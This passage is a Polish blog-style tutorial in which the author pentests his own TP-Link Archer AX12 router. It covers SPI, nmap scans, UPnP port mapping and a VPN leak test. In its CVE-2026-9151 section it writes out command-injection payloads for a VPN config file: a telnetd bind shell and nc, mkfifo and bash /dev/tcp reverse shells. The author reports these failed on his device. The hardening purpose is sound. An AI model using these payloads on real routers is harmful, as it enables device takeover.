W swojej książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN” korzystałem z TP-Link Archer AX12, szczególnie kiedy testowaliśmy różnego rodzaju problemy bezpieczeństwa związane z siecią bezprzewodową. Bardzo mało, a wręcz prawie w ogóle nie wspomniałem o tym, w jaki sposób zabezpieczyć nasz router przed takimi atakami. Jak już zapewne się domyślasz, w tym artykule zajmę się właśnie tym zagadnieniem. 

Nawet najlepszy sprzęt sieciowy klasy SOHO (czyli router przeznaczony do użytku domowego), wyciągnięty prosto z kartonu, podłączony i ze standardową, domyślną konfiguracją, stanowi bardzo łatwy cel dla hakera. Prawdziwe zrozumienie tego, jak zabezpieczyć router, wymaga praktycznego przetestowania jego sprzętowych podatności. W tym artykule postaram się pokazać test penetracyjny domyślnej konfiguracji, po czym rozpoczniemy proces gruntownego hardeningu jego ustawień. Mam nadzieję, że ten wstęp zachęcił do zapoznania się z dalszą częścią – przejdźmy do rzeczy.

1. Jak zrozumieć router – tajniki zapory SPI (Stateful Packet Inspection)

Nim przejdziemy do samych testów, chciałbym zacząć jednak od bardzo podstawowej rzeczy, jaką obecnie każdy router posiada. Jest tym mechanizm obronny routera określany jako SPI – Stateful Packet Inspection. Tu musicie mi wybaczyć, nie wiem, czy jest polskie określenie tego mechanizmu. Jeśli jest, to nigdy z niego nie korzystałem i nie będę się w tym miejscu zajmował tłumaczeniem czy też wyszukiwaniem poprawnego polskiego określenia tego terminu. Od zawsze nazywałem to SPI i pozwolę sobie tak to zostawić. 

Wiecie, dlaczego nie zaleca się korzystania z „antycznych” routerów? Niektórzy powiedzą, że poprzez brak wsparcia, aktualizacji. Oczywiście macie rację! Jednak w starszych modelach nie było mechanizmu SPI. Istniała jedynie filtracja. Polegała ona na dopasowaniu nagłówka; jeśli pasował do reguły, to pakiet był przepuszczany. Brzmi dobrze? Otóż pierwotnie tak miało być, chciano, aby było bezpiecznie, ale stało się, jak stało. Ta filtracja jest tak samo prosta do obejścia jak filtracja adresu MAC, a może nawet i prostsza. Wystarczyło pakietowi nadać odpowiednią etykietę i była ona akceptowana. 

Nie udaję wielkiego znawcy tego mechanizmu. Znam go z teorii. Nie posiadam routera, który nie obsługiwałby SPI, dlatego też nigdy nie miałem okazji przetestować, jak to wyglądało dawniej. Jeśli ktoś z was ma na zbyciu taki antyk, z chęcią przygarnę w celach edukacyjnych. 

No dobrze, to było kiedyś, ale już nie jest. Dlatego czym jest ten „genialny” SPI? Otóż naprawia problem filtracji i wpuszczania kogokolwiek z odpowiednio oznaczonym pakietem. W przypadku SPI router na początku weryfikuje, czy ktokolwiek o to pytał. Tak, czy ktokolwiek o to pytał! Czyli aby przepuścił jakiś ruch, na początku musiała być z sieci, w której działa, wysłana prośba o taki pakiet. W innym wypadku nie jest on przepuszczany, potocznie mówiąc, jest wrzucany do kosza.

Jest to bardzo interesujący temat i warto na niego poświęcić kilka chwil, bo jego zrozumienie ma ogromne znaczenie, jeśli chodzi o wykonanie samego testu. Jeśli czytałeś uważnie, możesz się zastanowić w takim razie, w jaki sposób jest to weryfikowane? Jak ten mechanizm działa? 

Jeśli tak pomyślałeś, to wiedz, że jest to bardzo ważny element działania każdej sieci. Wracając jednak do powyższego opisu, to, co do tej pory przeczytałeś, można bardziej profesjonalnie zapisać w następujący sposób: 

Mechanizm bezpieczeństwa SPI, zanim wpuści ruch z zewnątrz (port WAN), weryfikuje, czy host z wnętrza sieci (port LAN) faktycznie wysłał taką prośbę. 

W związku z powyższym musi prowadzić coś w rodzaju zbioru takich informacji. Dlatego musisz wiedzieć, że ten mechanizm musi śledzić to, co robią urządzenia do niego podłączone. Robi to, podsłuchując, jak nawiązują one komunikację z internetem, i tworzy coś w rodzaju tablicy z takimi informacjami, która zapisywana jest w pamięci RAM. Ten schemat działania możemy określić jako Three-Way Handshake, zwany po polsku potrójnym uściskiem dłoni. Działa on w następujący sposób:

1. Jedno z Twoich urządzeń w domu wysyła zapytanie (określane jako SYN) – chciałbym wejść na stronę krzysztofgodzisz.pl. SPI przepuszcza to zapytanie, ale zapisuje je do swojej tablicy razem z adresem IP urządzenia, które o to prosiło. Teraz czeka na odpowiedź. 
2. Przychodzi odpowiedź ze strony krzysztofgodzisz.pl (SYN-ACK) – jestem gotowa do wyświetlenia. W tym miejscu SPI sprawdza, czy takie zapytanie znajduje się na wspomnianej tablicy, i następnie, jeśli ją odnajduje, ustawia status ESTABLISHED i przepuszcza odpowiedź do sieci LAN. 
3. Po potwierdzeniu odsyła pakiet ACK, dzięki któremu zatwierdza połączenie. 

Jeszcze wracając do drugiego kroku. Jeśli SPI nie znajduje w swojej tablicy takiego zapytania, automatycznie nie przepuszcza takiego pakietu, ustawiając status DROP. 

Od strony atakującego wygląda to tak, że haker wyśle z internetu pakiet próbny do Twojego routera (np. sam pakiet ACK albo złośliwy kod podszywający się pod odpowiedź serwera). Najlepszym przykładem jest skorzystanie z narzędzia nmap w następujący sposób:

sudo nmap -sA -p 22,80,443 <Twój adres IP>
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-13 16:33 +0200
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.11 seconds

Jednak co ważne, to po pierwsze musisz poznać adres IP zewnętrzny Twojego routera. Możesz to osiągnąć za pomocą na przykład strony https://www.whatismyip.com/. Po drugie musisz podłączyć się do innej sieci, na przykład do tej, z której korzystasz w Twoim telefonie. Jeśli otrzymałeś taką informację jak ja powyżej, oznacza to, że SPI działa. 

Analizując to bardziej dokładnie, taki pakiet trafia do SPI na interfejsie WAN (od strony internetu). Następnie jest zatrzymywany i sprawdzany, od kogo on pochodzi (adres IP wysyłającego, w tym wypadku hakera). W kolejnym kroku sprawdza wspomnianą tablicę, czy ktoś z sieci nawiązał połączenie wcześniej z tym adresem IP. Jeśli nie, ustawiana jest flaga DROP, czyli odrzuca i blokuje możliwość przesłania tego pakietu. Co istotne, nie odpowiada w żaden sposób wysyłającemu ten pakiet. Pozostawia go bez jakiejkolwiek odpowiedzi. Dlaczego? Bo gdyby odpowiedział, haker wiedziałby, że pod tym adresem IP istnieje jakiś działający router, który można dalej atakować. Zamiast tego router po prostu ignoruje pakiet. Kasuje go z pamięci i całkowicie milczy. W ten sposób staje się niewidoczny.

2. Weryfikacja domyślnej konfiguracji TP-Link Archer AX12

W naszym routerze przeprowadziliśmy szybką konfigurację, klikając po prostu przycisk dalej. W moim przypadku ustawiłem w nim tylko bardziej złożone hasło, niż zaproponował mi to konfigurator. Na tym etapie zaproponował mi 8 znaków składających się z samych cyfr. O tym, jakim błędem jest taka konfiguracja, wspominałem w książce, jak również pogadamy o tym jeszcze w dalszej części tego artykułu. Poza wspomnianym hasłem pozostałych ustawień nie zmieniałem. Jedną z istotnych rzeczy, jaką zawsze warto poznać, jest to adres przypisany do naszego urządzenia. W przypadku używanego TP-Link Archer AX12 wystarczy wejść w opcję Advanced i z lewego menu wybrać opcję Status. O ile automatycznie nie zostaliśmy do niej przeniesieni. Na środku powinna pojawić się tablica naszej sieci. W przypadku testu samego routera interesować nas będzie sekcja LAN. U mnie wygląda to następująco:

Rysunek 1: Dane routera

W ramach ciekawostki: w przypadku TP-Link Archer AX12 mamy dwie możliwości połączenia się z routerem, gdy jesteśmy do niego bezpośrednio podłączeni. Jeden ze sposobów już znasz, jest to domena tplinkwifi.net. Natomiast drugim sposobem jest wpisanie w/w adresu IP. Tak naprawdę jest to to samo, ale jedno zapisane za pomocą czytelnej nazwy, drugie za pomocą zbioru liczb. O domenach i tym, czym są i jak działają, można pisać dużo; dlatego że ten temat znacznie odbiegłby od zamierzonego, pomijam go. Jeśli nie rozumiesz, dlaczego tak jest, to na tym etapie chciałbym, abyś zapamiętał, że niezależnie, czy wpiszesz tplinkwifi.net, czy 192.168.1.1, to będzie to adres Twojego routera.

2.1 Otwarty protokół usług UPnP jako ogromne zagrożenie

Przejdźmy teraz do samego testu. Zmapujmy wszystkie usługi, jakie są dostępne na tym routerze. Robimy to za pomocą narzędzia nmap w następujący sposób:

nmap -sS -p- -sV -T4 192.168.1.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-12 22:31 +0200
Nmap scan report for 192.168.1.1
Host is up (0.0079s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Unbound
80/tcp open http BusyBox http 1.19.4
443/tcp open ssl/http BusyBox http 1.19.4
1900/tcp open upnp MiniUPnP 2.2.2 (TP-LINK router; UPnP 1.1)
MAC Address: DC:62:79:7D:3B:A0 (TP-Link Systems)
Service Info: OS: Linux; Device: broadband router; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds

Skaner natychmiast wykazuje otwarty port:

80/tcp open http BusyBox http 1.19.4

oraz

1900/tcp open upnp MiniUPnP 2.2.2 (TP-LINK router; UPnP 1.1)

Włączone UPnP stwarza ogromne ryzyko dla bezpieczeństwa. Jeśli istniałoby zainfekowane urządzenie w sieci (np. tania kamera IP), może wymusić na routerze otwarcie portów na zewnątrz. Tu przechodzimy do mojej ulubionej części, czyli praktycznej weryfikacji. Jak zapewne Wy, tak i ja nie posiadacie takiego urządzenia. Dlatego w celach edukacyjnych zasymulujemy takie. Jest to bardzo proste i polega na uruchomieniu kilku poleceń:

mkdir upnp
cd upnp
echo "Witaj w panelu mojej wirtualnej kamery"> index.html
python3 -m http.server 8080

Nie wiem, jakie masz doświadczenie z Linuksem, ale teraz zablokowałeś terminal. Uruchomiliśmy w ten sposób serwer. Jeśli wpiszesz w przeglądarce internetowej adres localhost:8080, wyświetli się strona z informacją „Witaj w panelu mojej wirtualnej kamery”. Tak ma być. W ten sposób uruchomiłeś coś w rodzaju symulacji wspomnianej kamery, która znajduje się w Twojej sieci. 

Teraz uruchom drugi terminal lub podziel obecny. Pamiętaj jednak, aby nie zamknąć okna, gdzie uruchomiliśmy serwer. Musimy na początku doinstalować odpowiednie oprogramowanie, dlatego pierwsze, co robimy, to instalujemy: 

sudo apt update && sudo apt install miniupnpc

Następnie weryfikujemy, czy program został zainstalowany: 

upnpc -h

Jeśli wyświetli się lista z opcjami tego programu, mamy potwierdzenie, że został on zainstalowany poprawnie. Kolejną czynnością jest poznanie wewnętrznego adresu IP naszego Kali Linuksa. Robimy to za pomocą polecenia:

ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.110 netmask 255.255.255.0 broadcast 192.168.1.255

W moim przypadku jest to 192.168.1.110. Mając już ten komplet informacji, wpisujemy w terminalu następujące polecenie: 

sudo upnpc -a 192.168.1.110 8080 8080 TCP
upnpc: miniupnpc library test client, version 2.3.3.
(c) 2005-2025 Thomas Bernard.
More information at https://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
List of UPNP devices found on the network :
desc: http://192.168.1.1:1900/ijrpt/rootDesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
Found an IGD with a reserved IP address () : http://192.168.1.1:1900/ijrpt/ctl/IPConn
Local LAN ip address : 192.168.1.110
ExternalIPAddress = InternalIP:Port = 192.168.1.110:8080
external :8080 TCP is redirected to internal 192.168.1.110:8080 (duration=0)

Ta ostatnia linijka:

external :8080 TCP is redirected to internal 192.168.1.110:8080 (duration=0)

oznacza, że router przyjął polecenie i utworzył regułę duration=0, co oznacza brak wygasania. W bardziej ludzki sposób można to wyjaśnić w jednym zdaniu jako:

„Zignoruj zaporę SPI dla portu 8080 na interfejsie zewnętrznym i ładuj cały ruch prosto na adres 192.168.1.110” 

Natomiast użyjmy jeszcze tego polecenia z opcją -l:

sudo upnpc -l
upnpc: miniupnpc library test client, version 2.3.3.
(c) 2005-2025 Thomas Bernard.
More information at https://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
List of UPNP devices found on the network :
desc: http://192.168.1.1:1900/ijrpt/rootDesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
Found an IGD with a reserved IP address () : http://192.168.1.1:1900/ijrpt/ctl/IPConn
Local LAN ip address : 192.168.1.110
Connection Type : IP_Routed
Status : Connected, uptime=37991s, LastConnectionError : ERROR_NONE
Time started : Sat Jun 13 06:54:23 2026
MaxBitRateDown : 8388608 bps (8.3 Mbps) MaxBitRateUp 4194304 bps (4.1 Mbps)
GetExternalIPAddress failed. (empty string)
i protocol exPort->inAddr:inPort description remoteHost leaseTime
0 TCP 8080->192.168.1.110:8080 'libminiupnpc''' 0

i ponownie ostatnia linia:

0 TCP 8080->192.168.1.110:8080 'libminiupnpc''' 0 

Dokładnie to jest „dowodem w zbrodni”. Widoczny jest tutaj indeks reguły (0), użyty protokół (TCP), dokładne mapowanie portów oraz podpis narzędzia, które tę regułę wygenerowało (libminiupnpc). Zapytasz, a co to oznacza w praktyce? W 99% przypadków, jeśli będzie to Twój główny router, to wpisując jego adres IP z portem 8080 (IP:8080) otrzymasz dostęp do strony, jaką uruchomiliśmy pod pseudokamerą. Chyba że Twój operator sieciowy (tak jak mój) z urzędu blokuje u siebie na zaporach brzegowych porty często używane przez botnety lub do usług administracyjnych. Natomiast w przypadku dwóch pozostałych są to po prostu usługi logowania, za pomocą http i bezpieczniejszej wersji https. W konfiguracji routera możemy zmienić, aby logowanie było możliwe tylko za pomocą wersji bezpieczniejszej.

Po udowodnieniu, że coś jest nie tak, musimy po sobie posprzątać. Do tego celu użyjemy opcji -d z poznanym przed chwilą poleceniem w następujący sposób:

sudo upnpc -d 8080 TCP
upnpc: miniupnpc library test client, version 2.3.3.
(c) 2005-2025 Thomas Bernard.
More information at https://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
List of UPNP devices found on the network :
desc: http://192.168.1.1:1900/ijrpt/rootDesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
Found an IGD with a reserved IP address () : http://192.168.1.1:1900/ijrpt/ctl/IPConn
Local LAN ip address : 192.168.1.110
UPNP_DeletePortMapping() returned : 0

i weryfikujemy, czy wpis zniknął z tabeli:

sudo upnpc -l
upnpc: miniupnpc library test client, version 2.3.3.
(c) 2005-2025 Thomas Bernard.
More information at https://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
List of UPNP devices found on the network :
desc: http://192.168.1.1:1900/ijrpt/rootDesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
Found an IGD with a reserved IP address () : http://192.168.1.1:1900/ijrpt/ctl/IPConn
Local LAN ip address : 192.168.1.110
Connection Type : IP_Routed
Status : Connected, uptime=39789s, LastConnectionError : ERROR_NONE
Time started : Sat Jun 13 06:54:23 2026
MaxBitRateDown : 8388608 bps (8.3 Mbps) MaxBitRateUp 4194304 bps (4.1 Mbps)
GetExternalIPAddress failed. (empty string)
i protocol exPort->inAddr:inPort description remoteHost leaseTime

W wyniku nie ma już żadnej linijki z informacją dla portu 8080 i dopiskiem libminiupnpc.

2.2. Omijanie ograniczeń (OS Command Injection poprzez VPN – CVE-2026-9151)

Nie ukrywam, że był to powód do napisania tego artykułu. 10 czerwca 2026 pojawiła się jedna z najgroźniejszych podatności tego modelu. Firmware posiada błąd w parserze plików konfiguracyjnych VPN. 

Jak do tego podejść? Pierwsze, co jest ważne, to baza CVE. To tam znajdują się wszelkie ogólnodostępne informacje odnośnie luk. Ta dotycząca nas znajduje się pod adresem https://www.cve.org/CVERecord?id=CVE-2026-9151. Zawsze warto odwiedzić samego producenta, czy podjął już jakieś kroki w tym temacie i czy coś więcej możemy się dowiedzieć. Tutaj TP-Link udostępnił informacje pod adresem https://www.tp-link.com/pl/support/faq/5125/. No i oczywiście GitHub, posiadający niezwykłą bazę. O informacji na nasz temat dowiemy się na stronie https://github.com/advisories/GHSA-x4j3-73c9-wq9c. 

Zgodnie z tym, co można wyczytać z oficjalnych źródeł TP-Linka:

„Podatność wstrzykiwania komend systemu operacyjnego występuje w module VPN routerów TP-Link Archer AX12 v1, AX17 v1, AX18 v1 i AX1300 v1.6. Ta podatność umożliwia dowolnej uwierzytelnionej osobie atakującej na wykonywanie dowolnych komend na urządzeniu poprzez importowanie specjalnie przygotowanego pliku konfiguracyjnego klienta VPN. Problem wynika z nieprawidłowego filtrowania znaków specjalnych. Pomyślne wykorzystanie luki może umożliwić osobie atakującej przejęcie całkowitej kontroli nad podatnym urządzeniem, potencjalnie skutkując naruszeniem poufności konfiguracji, bezpieczeństwa sieci i dostępności usługi.”

W takim razie, wiedząc co nieco o VPN-ach, wygenerujmy sobie podstawowy plik, który będzie akceptowany przez urządzenie. Będąc w panelu konfiguracyjnym routera, wchodzimy w opcję Advanced. W menu z lewej strony odnajdujemy VPN Server i z listy rozwijanej wybieramy OpenVPN.

Rysunek 2: Serwer VPN – plik konfiguracyjny.

Wciskamy przycisk EXPORT i czekamy dłuższą chwilę, aż wygeneruje się plik konfiguracyjny oraz certyfikat w jednym. Po jego zapisaniu uruchamiamy go, pamiętając, aby był to edytor klasyczny, jak na przykład Mousepad z XFCE. Zawartość pliku powinna wyglądać mniej więcej tak jak na poniższym rysunku:

Rysunek 3: Plik konfiguracyjny VPN

Poniżej znajduje się certyfikat, który nie będzie obiektem naszych zainteresowań. Nim przejdę do tego, co będziemy w nim modyfikować, pokażę, gdzie należy go umieszczać. Powyżej zakładki VPN Server znajduje się VPN Client, przechodzimy teraz do tego miejsca.

Rysunek 4: Konfiguracja klienta VPN

Od razu przesuwamy suwak VPN Client, aby pojawiły się opcje, tak jak na powyższym rysunku. W przypadku tej podatności interesować nas będzie część Server List, to właśnie do niej dodamy nasz plik. Z prawej strony znajduje się ikona +, klikamy w nią, z opisem ADD. 

Rysunek 5: Dodajemy plik konfiguracyjny VPN.

Z menu VPN Type wybieramy OpenVPN. W polu Description nadajemy naszemu profilowi jakąkolwiek nazwę. Następnie wciskamy przycisk Upload i dodajemy przed chwilą wygenerowany plik. Na samym końcu wciskamy SAVE. Po chwili utworzony profil z konfiguracją pojawi się na liście.

Rysunek 6: Lista serwerów – plik konfiguracyjny na liście

Po przesunięciu suwaka pod kolumną Enable uruchomimy naszą konfigurację. Potwierdźmy, czy ona zadziała.

Rysunek 7: Uruchomienie klienta VPN

Zajmuje to chwilę, ale powinieneś otrzymać wynik taki jak powyżej lub zbliżony. Usuń teraz tę konfigurację, zajmiemy się modyfikacją pliku. Jeśli podatność polega na wstrzykiwaniu komend systemu operacyjnego, to zobaczmy, czy jesteśmy w stanie dzięki temu nawiązać połączenie z routerem i on z nami. Nim przejdziemy do samego modyfikowania pliku, użyjemy bardzo prostego polecenia ping. Uruchommy jednak nasłuch pakietów ICMP:

sudo tcpdump -i any icmp
tcpdump: WARNING: any: That device doesn't support promiscuous mode
(Promiscuous mode not supported on the "any" device)
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes

Teraz spróbujmy zapingować nasz router:

ping -c 10 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.365 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.351 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.303 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=64 time=0.312 ms
64 bytes from 192.168.1.1: icmp_seq=5 ttl=64 time=0.295 ms

Zauważmy, że pojawia się również informacja podczas nasłuchiwania:

23:33:11.416290 eth0 Out IP 192.168.1.110 > 192.168.1.1: ICMP echo request, id 33036, seq 1, length 64
23:33:11.416641 eth0 In IP 192.168.1.1 > 192.168.1.110: ICMP echo reply, id 33036, seq 1, length 64
23:33:12.434031 eth0 Out IP 192.168.1.110 > 192.168.1.1: ICMP echo request, id 33036, seq 2, length 64
23:33:12.434363 eth0 In IP 192.168.1.1 > 192.168.1.110: ICMP echo reply, id 33036, seq 2, length 64
23:33:13.458017 eth0 Out IP 192.168.1.110 > 192.168.1.1: ICMP echo request, id 33036, seq 3, length 64
23:33:13.458300 eth0 In IP 192.168.1.1 > 192.168.1.110: ICMP echo reply, id 33036, seq 3, length 64

Czyli my wysyłamy zapytanie do routera i on nam odpowiada. Oznacza to, że jesteśmy w stanie z nim się komunikować. Mając już taką informację potwierdzoną, możemy przejść do modyfikacji pliku. Pozostawiamy uruchomiony nasłuch, a do pliku wpisujemy następujące informacje: 

$(ping -c 4 192.168.0.100);ping -c 4 192.168.0.100

Służą one do tego samego, różnią się tylko konstrukcją. Wykonujemy test w ten sposób, bo niektóre systemy odrzucają część znaków specjalnych. Te dwie linie umieszczamy centralnie pod remote 192.168.0.184 1194. Zapisujemy zmiany w pliku i w panelu naszego routera, klienta VPN usuwamy obecną konfigurację (o ile nie zrobiliśmy tego wcześniej), tworzymy nową z naszym nowym plikiem. Po przełączeniu na ENABLED, jeśli nic się nie zadziało w konsoli, gdzie prowadzimy nasłuch, oznaczać to będzie, że polecenie nie zadziałało. Następnie próbujemy uruchomić telnet na routerze. Usuwamy lub dodajemy poniżej do pliku:

$(telnetd -l /bin/sh -p 2323);telnetd -l /bin/sh -p 2323

Postępujemy identycznie jak w poprzednim przypadku i gdy już podmienimy plik i uruchomimy serwer VPN, przechodzimy do konsoli i próbujemy nawiązać połączenie:

telnet 192.168.1.1 2323

I ta próba zakończyła się niepowodzeniem, dlatego idziemy dalej. Zatrzymujemy nasłuch pakietów i uruchamiamy polecenie:

nc -lvnp 4444

Za pomocą tego polecenia oczekujemy na porcie 4444, aż ktoś zechce nawiązać z nami połączenie. Chyba już się domyślasz, kto to taki będzie. Do pliku dopisujemy lub usuwamy poprzednie i zamiast nich dodajemy:

$(nc -e /bin/sh 192.168.1.110 4444)

Jeśli w konsoli, gdzie mamy uruchomiony nasłuch na port 4444, nic się nie zmienia, usuwamy to polecenie i zastępujemy je następującym:

$(rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.110 4444 > /tmp/f)

Możliwe, że zastanawiasz się, co ono robi. Otóż tworzymy tu tak zwany potok.

rm /tmp/f; mkfifo /tmp/f;

Usuwamy plik, jeśli istnieje już taki, i następnie tworzymy nowy.

cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.110 4444 > /tmp/f)

Następnie przekazujemy za pomocą polecenia cat to, co znajduje się w pliku f, a znajdują się w nim polecenia, jakie prześlemy z naszej konsoli, jeśli uda nam się nawiązać połączenie, i następnie wysyłane są do nas, czyli do naszego urządzenia atakującego, z którym router ma połączenie na porcie 4444. Tak to się zapętla. Jeśli to polecenie nie zadziałało i nie udało się nawiązać połączenia, usuwamy je z pliku i zastępujemy:

$(bash -c 'bash -i >& /dev/tcp/192.168.1.110/4444 0>&1')

Oczywiście postępujemy tak jak w poprzednim przypadku. Jeśli nadal nie mamy połączenia, spróbujmy czegoś bardzo prostego: 

$(sleep 15);sleep 15

Spróbujmy zatrzymać na chwilę czas (kto by nie chciał…). Jeśli to nie wyjdzie, to pozostaje nam na przykład umieścić powyżej poznane polecenia w innych liniach. 

Po dość burzliwych próbach nie udało się sprawić na moim routerze, by wspomniane CVE działało. Możliwe, że TP-Link po cichu uruchomił jakąś drobną aktualizację lub też może to wynikać z ograniczeń samego routera, a dokładnie jego systemu. Najprawdopodobniej ma on ograniczone do minimum ilości oprogramowania i takie polecenia, jakich tutaj użyliśmy, nie są w nim dostępne.

2.3. Luki w prywatności tunelowania

Nie wiem, czy za bardzo nie zmęczę, ale chciałbym pokazać wszystko, czego się dowiedziałem na temat TP-Link Archer AX12. Chciałbym, abyś zobaczył, jak do tego podchodzę, i może wykorzystał to na swoim domowym urządzeniu. Dlatego, aby przeprowadzić ten test, będziemy zmuszeni trochę bardziej pokombinować, niż to widziałeś do tej pory. Otóż nie posiadam VPN-a, którego mógłbym użyć do przeprowadzenia testu. Myślę, że niektórzy z was też takiego nie posiadają, dlatego postanowiłem stworzyć sobie taki. Jednak wymaga to trochę wysiłku, dlatego może nim zabierzesz się do dalszego działania, na początku przeczytaj, co ja tutaj będę chciał zrobić. 

Pierwszą czynnością, jaką musimy zrobić, to podłączyć komputer, za pomocą którego przeprowadzamy testy do portu WAN routera. Następnie udostępniam z mojego smartfona sieć bezprzewodową i podłączam się do niej korzystając z adaptera bezprzewodowego. Następnie, przechodzimy do konfiguracji. Pierwsze, co robimy, to sprawdzamy, jak jest określany nasz interfejs przewodowy. Robimy to za pomocą polecenia:

nmcli connection show

Ważna jest kolumna NAME, w której poznajemy nazwę, jaka została nadana i TYPE, w której określono sposób podłączenia. Przy naszym interfejsie przewodowym w kolumnie TYPE powinno być napisane ethernet. Znając już nazwę, możemy przejść do konfiguracji statycznego adresu IP i określania maski sieci. Robimy to za pomocą polecenia:

sudo nmcli con mod "Wired connection 1" ipv4.addresses 10.0.0.1/24

Wyłączamy automatyczne DHCP:

sudo nmcli con mod "Wired connection 1" ipv4.method manual

Teraz aktywujemy wszystkie nasze ustawienia:

sudo nmcli con up "Wired connection 1"
Pomyślnie aktywowano połączenie (ścieżka aktywacji D-Bus: /org/freedesktop/NetworkManager/ActiveConnection/5)

Weryfikujemy, czy wszystko działa prawidłowo:

ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255

Jak można zauważyć w powyższym przykładzie, został przypisany adres IP 10.0.0.1, broadcast i maska podsieci. Możemy uznać ten etap za zamknięty.  Następnie musimy wprowadzić tę konfigurację do naszego routera. Jednak aby to zrobić, musimy połączyć się z siecią bezprzewodową, jaką udostępnia router. Będąc już w sieci, wchodzimy do panelu logowania http://tplinkwifi.net/, logujemy się i następnie w górnej części klikamy na ikonę Internet.

Rysunek 8: Konfiguracja ustawień sieci routera pod VPN

Wprowadź dane jak na powyższym rysunku i zapisz. Teraz musimy zainstalować odpowiednie certyfikaty OpenVPN. Zrobimy to bardzo szybko ze względu na to, że ma to służyć tylko i wyłącznie testom. Skorzystamy z automatycznych skryptów instalujących. Wystarczy, że posłużymy się tymi trzema poleceniami:

Pobieramy konfigurator:

curl -O https://raw.githubusercontent.com/Nyr/openvpn-install/master/openvpn-install.sh

Nadajemy mu uprawnienia do uruchamiania:

chmod +x openvpn-install.sh

Uruchamiamy:

sudo ./openvpn-install.sh

Jeśli otrzymacie informacje o błędzie związanym z brakiem kompatybilności z systemem, przed uruchomieniem skryptu musimy skorzystać z polecenia: 

sed -i 's/-lt 11/-lt 0/g' openvpn-install.sh

Na pytania odpowiedziałem tak:

Which IPv4 address should be used?
1) 10.0.0.1
2) 192.168.0.19
IPv4 address [1]: 1

This server is behind NAT. What is the public IPv4 address or hostname?
Public IPv4 address / hostname [89.228.17.147]: 10.0.0.1

Which IPv6 address should be used?
1) 2a02:2a40:e4ff:f600:506d:e983:199e:440b
2) 2a02:2a40:e4ff:f600:bb0e:5ecd:4faa:a77b
IPv6 address [1]: 1

Which protocol should OpenVPN use?
1) UDP (recommended)
2) TCP
Protocol [1]: 1

What port should OpenVPN listen on?
Port [1194]: 

Select a DNS server for the clients:
1) Default system resolvers
2) Google
3) 1.1.1.1
4) OpenDNS
5) Quad9
6) Gcore
7) AdGuard
8) Specify custom resolvers
DNS server [1]: 1

Enter a name for the first client:
Name [client]: kali1

Pozostaje przesłać wygenerowany plik do naszego klienta VPN. Robimy to w identyczny sposób jak ostatnim razem, dlatego zaloguj się do panelu administracyjnego routera, przejedź do ustawień Advanced, z lewego menu wybieramy VPN Client i po prawej stronie za pomocą ADD dodajemy wygenerowany plik i suwakiem obok uruchamiamy. To wszystko robiliśmy w poprzednim przykładzie, dlatego jakbyś miał wątpliwości, zerknij wyżej.  Nie zamykamy ekranu, gdzie dodaliśmy nasz plik konfiguracyjny. Przechodzimy do konsoli i najlepiej dzielimy ją na 2. W jednej wprowadzamy polecenie, które będzie wyświetlało cały ruch na interfejsie eth0:

sudo tcpdump -i eth0 -n

W drugiej uruchamiamy polecenie do nieskończonego pingu:

ping 10.0.0.1

Przyjrzyj się teraz na godzinę, minutę i sekundę i wyłączmy certyfikat VPN w panelu routera. Zerkamy teraz na wynik polecenia. U mnie na przykład: 

18:29:34.728119 IP 10.0.0.1.1194 > 10.0.0.2.49853: UDP, length 40 
18:29:34.729043 IP 10.0.0.2 > 10.0.0.1: ICMP 10.0.0.2 udp port 49853 unreachable, length 76

W tym miejscu VPN został wyłączony. W pierwszej linijce Kali Linux próbuje wysłać zaszyfrowany pakiet do routera na port, na którym działał klient OpenVPN (49853). W drugiej linijce router natychmiast odrzuca ten pakiet komunikatem port unreachable. Co świadczy o tym, że tunelowanie już nie działa. Teraz co jest niepokojące:

18:29:40.015822 IP 10.0.0.2.52875 > 10.0.0.1.53: 46769+ A? amazon.pl. (28)
18:29:43.240567 IP 10.0.0.2.59106 > 10.0.0.1.53: 48486+ A? google.com. (28)
18:29:52.511013 IP 10.0.0.2.55701 > 10.0.0.1.53: 12269+ A? wikipedia.pl. (31)

Mamy tutaj dowód całkowitego braku szyfrowania. Widzimy dokładnie, o jakie domeny pyta urządzenie (amazon.pl, wikipedia.pl). Zapytania lecą zwykłym tekstem na standardowy port. Gdyby ruch był zabezpieczony, widziałbyś tylko komunikację na porcie 1194. Chodzi tutaj o to, że urządzenia z Twojej sieci LAN próbują wejść na strony internetowe, a router nie posiadając do dyspozycji tunelu, po prostu wypuścił ten ruch standardową bramą domyślną, łamiąc zasadę zachowania prywatności jaką chcieliśmy osiągnąć za pomocą tunelowania. 

I pomyśleć… Wystarczyło skorzystać z mechanizmu Kill-Switch, ale o tym za chwilę. 

2.3.1. Przywracanie standardowej konfiguracji interfejsu

